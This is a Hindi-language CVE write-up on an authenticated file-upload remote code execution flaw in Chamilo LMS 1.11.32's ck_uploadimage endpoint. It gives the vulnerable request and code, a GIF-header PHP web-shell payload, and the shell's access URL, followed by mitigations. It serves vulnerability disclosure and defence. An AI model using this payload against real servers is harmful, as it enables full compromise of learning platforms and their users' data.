
नमस्ते, मैं K हूँ, यह मेरा पहला CVE है, जो एक Remote Code Execution (RCE) भेद्यता है। यह एक सुरक्षा शोधकर्ता के रूप में मेरी यात्रा की शुरुआत है।
Chamilo LMS 1.11.32 में
ck_uploadimageAJAX एंडपॉइंट में अनुचित फ़ाइल अपलोड सत्यापन के माध्यम से प्रमाणित रिमोट कोड निष्पादन। एक निम्न-विशेषाधिकार प्राप्त छात्र PHP वेब शेल को छवि के रूप में प्रच्छन्न करके अपलोड कर सकता है, जिससे सर्वर से पूर्ण समझौता हो सकता है।
| फ़ील्ड | विवरण |
|---|
| उत्पाद | Chamilo LMS |
| संस्करण | 1.11.32 (पुष्टि की गई) |
| भेद्यता | खतरनाक प्रकार के साथ अप्रतिबंधित फ़ाइल अपलोड (CWE-434) |
| प्रभाव | प्रमाणित रिमोट कोड निष्पादन (RCE) |
| CVSS v3.1 | 8.8 (उच्च) — CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| प्रमाणीकरण आवश्यक | ✅ हाँ — छात्र भूमिका (निम्न विशेषाधिकार) |
| CWE | CWE-434: खतरनाक प्रकार वाली फ़ाइल का अप्रतिबंधित अपलोड |
| खोजकर्ता | MENG HOKSENG |
POST /main/inc/ajax/document.ajax.php?a=ck_uploadimage&cidReq=[COURSE_ID]
भेद्य फ़ाइल: main/inc/ajax/document.ajax.php
भेद्य फ़ंक्शन: ck_uploadimage
अपलोड हैंडलर PHP के mime_content_type() फ़ंक्शन का उपयोग करके केवल MIME-प्रकार सत्यापन करता है, जो फ़ाइल के मैजिक बाइट्स (सामग्री के पहले कुछ बाइट्स) की जांच करता है, न कि फ़ाइल एक्सटेंशन की।
// भेद्य सत्यापन तर्क (सरलीकृत)
$mime = mime_content_type($_FILES['upload']['tmp_name']);
if (!mimeAccepted($mime, ['image'])) {
die("अमान्य फ़ाइल प्रकार");
}
// ❌ कोई एक्सटेंशन सत्यापन नहीं
// ❌ फ़ाइलनाम की कोई सफाई नहीं
move_uploaded_file($_FILES['upload']['tmp_name'], $uploadPath . $fileUploadName);
दो अलग-अलग कमजोरियाँ मिलकर एक पूर्ण शोषण श्रृंखला बनाती हैं:
GIF89a) जोड़कर बायपास किया जाता है.php एक्सटेंशन के साथ वेब-सुलभ निर्देशिका में संग्रहीत करता हैएक दुर्भावनापूर्ण फ़ाइल निम्नानुसार तैयार की जाती है:
GIF89a;<?php system($_GET['cmd']); ?>
mime_content_type() GIF89a पढ़ता है → image/gif के रूप में वर्गीकृत करता है → सत्यापन पास करता हैmove_uploaded_file() इसे /app/upload/users/<id>/ में shell.php के रूप में सहेजता है → ब्राउज़र के माध्यम से सीधे निष्पादन योग्यपूर्ण शोषण चलाएं जो फ़ाइल अपलोड स्वचालित रूप से करने के लिए छात्र के रूप में लॉग इन करता है
पायथन पूर्ण शोषण चलाने के बाद, हम अपना अपलोड किया गया वेब शेल http://localhost:8081/app/upload/users/3/3/my_fileszhxoxgwj.php?cmd=id पर पा सकते हैं

इस भेद्यता का सफल शोषण छात्र-स्तरीय खाते से पूर्ण सर्वर समझौते में परिणत होता है:
CIA प्रभाव: गोपनीयता, अखंडता और उपलब्धता का पूर्ण नुकसान।
▪ सख्त फ़ाइल एक्सटेंशन अनुमतिसूची लागू करें केवल स्पष्ट रूप से अनुमत छवि फ़ाइल एक्सटेंशन (जैसे, .jpg, .png, .gif) स्वीकार किए जाने चाहिए। निष्पादन योग्य एक्सटेंशन जैसे .php, .phtml, या .phar वाली अपलोड की गई फ़ाइलों को MIME प्रकार की परवाह किए बिना अस्वीकार किया जाना चाहिए।
▪ केवल MIME-प्रकार सत्यापन पर निर्भर न रहें mime_content_type() जैसे फ़ंक्शनों का उपयोग करके MIME-प्रकार की जाँच को प्राथमिक सुरक्षा नियंत्रण के रूप में उपयोग नहीं किया जाना चाहिए, क्योंकि इन्हें तैयार किए गए फ़ाइल हेडर का उपयोग करके बायपास किया जा सकता है। MIME सत्यापन का उपयोग केवल द्वितीयक जाँच के रूप में किया जाना चाहिए।
▪ अपलोड की गई फ़ाइलों को वेब-सुलभ निर्देशिकाओं के बाहर संग्रहीत करें अपलोड की गई सामग्री को ऐसी निर्देशिका में संग्रहीत किया जाना चाहिए जो वेब सर्वर के माध्यम से सीधे सुलभ न हो। यदि सार्वजनिक पहुंच आवश्यक है, तो फ़ाइलों को सीधे पहुंच के बजाय नियंत्रित हैंडलर के माध्यम से परोसा जाना चाहिए।
MENG HOKSENG
स्वतंत्र सुरक्षा शोधकर्ता
यह प्रोजेक्ट केवल शैक्षिक और अधिकृत सुरक्षा अनुसंधान उद्देश्यों के लिए जारी किया गया है। लेखक इस शोषण के कारण होने वाले किसी भी दुरुपयोग या क्षति के लिए जिम्मेदार नहीं है। सुरक्षा मूल्यांकन करने से पहले हमेशा स्पष्ट लिखित प्राधिकरण प्राप्त करें।